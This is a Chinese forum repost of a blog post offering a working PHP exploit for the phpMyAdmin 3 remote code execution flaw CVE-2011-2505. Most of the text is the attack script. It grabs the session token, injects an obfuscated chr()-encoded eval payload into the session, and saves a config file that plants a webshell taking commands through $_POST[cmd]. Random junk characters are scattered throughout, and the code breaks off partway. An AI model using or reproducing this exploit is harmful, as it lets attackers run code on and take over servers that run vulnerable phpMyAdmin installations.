标题: phpadmin3 remote code execute php版本exploit [打印本页] 作者: admin 时间: 2013-2-21 09:13 标题: phpadmin3 remote code execute php版本exploit 最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。, b A, V' |" l
. t0 Z- d' h; s0 o4 H$ c
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。9 H$ N" z4 M+ ?/ V( [
5 ]9 |" X% i0 E' f% {首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:, G5 i9 Q8 v4 V+ Z2 A: y
一是session.auto_start = 1; * x& m/ T% v2 @- m4 w+ W. x' H1 V# G二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。 7 A! ]! W. u% e当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。 + q1 S+ y/ y- f. N ) a( ~3 b& y( X1 F6 ^在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。- T8 }$ m; n) x- n& T
2 l! F+ | H" X+ A
于是写了这个php版本的exp,代码如下:! h. `! I# U4 [
+ E S: z" _9 A8 x& e#!/usr/bin/php$ V/ h; E$ q/ c. z3 ~
<?php 3 g! u" X! @, a9 _# a zprint_r('4 K5 u: K4 X' [
+---------------------------------------------------------------------------+ % P6 Y2 t$ ^/ D" Npma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)] 0 M2 v5 u' L0 Sby oldjun(www.oldjun.com)1 g* G! o/ M9 v2 |$ l
welcome to www.t00ls.net4 M8 f( U: O3 G4 r. v
mail: oldjun@gmail.com" \2 d4 m" k, ~; V n: g
Assigned CVE id: CVE-2011-2505 . b& O) v1 | ]% F* A$ d+ z+---------------------------------------------------------------------------+ G6 [4 e0 Y! P9 F');1 x( M- m) h( K/ i/ c
, ^8 N7 _$ n/ _- h" F/**. y5 \) U2 C" i* z. C( N7 U, m
* working when the directory:"config" exists and is writeable. & I5 A Y) A3 I: M3 r**/( w( M) |2 R. J6 x
0 i# G" z. k4 E( f/ yif ($argc < 3) { & X9 T* ^6 U9 c! x% w print_r('' E4 u5 r0 O: P v/ f* [
+---------------------------------------------------------------------------+% v/ {( i( s+ A5 p
Usage: php '.$argv[0].' host path9 K7 B1 E6 ~! M6 P2 a, t
host: target server (ip/hostname)! F8 S5 a# H. x4 q3 I$ x7 Q9 Z% N
path: path to pma3 * F9 j. r, Q- l, ^9 @Example: n, O' ]; E( r, |, w4 Rphp '.$argv[0].' localhost /pma/ : ]! Y6 R5 r ~+ x+---------------------------------------------------------------------------+0 n/ Q$ t; F) G& K8 [6 a' x, c# ^, b
');5 q/ ]) }8 b0 o7 u G
exit;9 E. [% H' w! n/ {
} 8 [7 P; @ o, e$ K6 j9 N$ e; R# b/ ~0 E! N* P A% L! [
$host = $argv[1];+ ]4 Z' t; z# z+ z" x* m1 T; O: B$ P3 V
$path = $argv[2]; & B0 y# ]; f0 L8 N7 S# |7 B$ t: S: }4 z
/**; p, |, X; Y8 q4 S
* Try to determine if the directory:"config" exists # `6 U. [0 G3 n5 \**/ % X; Z3 C/ U% D2 qecho "[+] Try to determine if the directory:config exists....\n";( u& z& h4 r) v% j2 T
$returnstr=php_request('config/'); 6 V$ l0 f ]: I+ {/ W8 Cif(strpos($returnstr,'404')){ / H/ T3 W+ G4 D' a exit("[-] Exploit Failed! The directory:config do not exists!\n"); $ }5 X+ @" K& X1 P9 ?$ s}1 |8 e) A) U+ h a
+ F- }/ ?' g, [8 M# C/**: B# v' a. l2 ~' t+ G* y
* Try to get token and sessionid) ]& m. E% k1 ~& d& Q2 O
**/ * x( P+ {5 e+ L: T1 F/ ]echo "[+] Try to get token and sessionid....\n";+ g8 S0 l: s+ H- R5 r3 M0 U
$result=php_request('index.php'); 1 ^/ G3 C2 b* m' t/ D4 k* F& W" v$ ~" Lpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);9 O, Y$ w) ^2 o$ |- H
$token=$resp[3]; 0 B* o) j% ? O$ r. A+ z$sessionid=$resp[1];+ E$ ~; I. r) a+ { O; m
if($token && $sessionid){ 5 |* r. W6 R) I" n: O4 M6 g4 \1 Q echo "[+] tokentoken\n";# p. S3 B {/ E
echo "[+] Session IDsessionid\n";9 z% S6 h6 b; d8 U; ~
}else{6 W k9 z" v# V# B( H$ s
exit("[-] Can't get token and Session ID,Exploit Failed!\n"); 9 L! Q& q7 | {1 X}1 X* ?3 F$ B B! v% A( O+ y0 g
W2 @! x, t2 ~( Z/** % a6 b" _4 C. z! E * Try to insert shell into session7 ]+ S2 t9 P. [ w. q y- z2 v
**/- t x2 K' i# t/ Q) Y
echo "[+] Try to insert shell into session....\n"; " Q( |0 i6 j% N- s4 tphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.. a6 r5 J% W/ Y2 X; i
2 J5 i# p+ f/ E- W9 T. d/**! ]$ C3 ?/ L4 T P
* Try to create webshell" U) N# L4 l$ Z& X# J) p
**/$ I. _0 x. a+ ?( w
echo "[+] Try to create webshell....\n";7 w) Q+ f0 ?% f. ?7 A7 Y
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);$ }- Q# f- F L
/**& Y* [4 j8 p' \
* Try to check if the webshell was created successfully/ l8 _( _" I# y! Q5 O- m: A
**/ : f$ c- P b" t$ Y/ @6 x! z) oecho "[+] Try to check if the webshell was created successfully....\n";* ?& }# F# Z2 u3 |" z" d8 w8 w
$content=php_request('config/config.inc.php');/ F/ i: F9 M' B- c8 s
if(strpos($content,'t00ls')){ D& W5 g O/ A% C" m8 r" i
echo "[+] Congratulations! Expoilt successfully....\n";, O& H/ t2 P- X, `5 B# ]" O
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n"; ( s1 m5 ~1 D/ G9 P+ U: Z; e( |}else{ # U2 X/ i+ E4 N; ] K( g" m exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n"); % R2 U3 S' k) z, J4 u! ~+ I6 v0 v9 x}) l" E. H4 P, S: m2 Q5 \( p* n4 p
* H9 L# b5 ^( ~, o: G* Ifunction php_request($url,$data='',$cookie=''){ + D, N! s$ L6 F$ U global $host, $path;. e- o8 _' {, w" M) q' g6 L
& o( j" `8 G* g5 w; P% P $method=$data?'POST':'GET'; ) r t/ P) r8 S 0 O( E! ^- B- ?" e$ b) X& h- p# t) P8 p8 ^
$packet = $method." ".$path.$url." HTTP/1.1\r\n";/ M0 a. T& Y7 u) K' N+ c0 d
$packet .= "Accept: */*\r\n"; 0 S& E% v2 A1 }; b% S $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";- L* H1 \# i. G& A& H$ M
$packet .= "Host: $host\r\n"; 3 G0 C+ |& O& k/ |, L6 @. A $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";- s! M$ f7 ]$ V/ _1 r3 N9 j
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: ^9 ^/ q$ @" t1 h
$packet .= $cookie?"Cookie: $cookie\r\n":""; M0 ]# l6 [4 z1 \1 b- C5 r
$packet .= "Connection: Close\r\n\r\n"; . |8 |/ q/ c1 ]3 |" l $packet .= $data?$data:"";7 W) h/ p. t8 _& L8 _4 F3 q) f
) |* R. w/ R+ i2 { I# t! u" c
$fp = fsockopen(gethostbyname($host), 80); & i, N/ V' o% S7 T: r$ l if (!$fp) {3 ^( r7 r8 Q- t5 N- g, n# r1 z* M( w
echo 'No response from '.$host; die; + S, ^6 N+ A5 g$ m }; n0 x: U |. `* ?
fputs($fp, $packet);1 g3 ]# x8 i" A/ a; G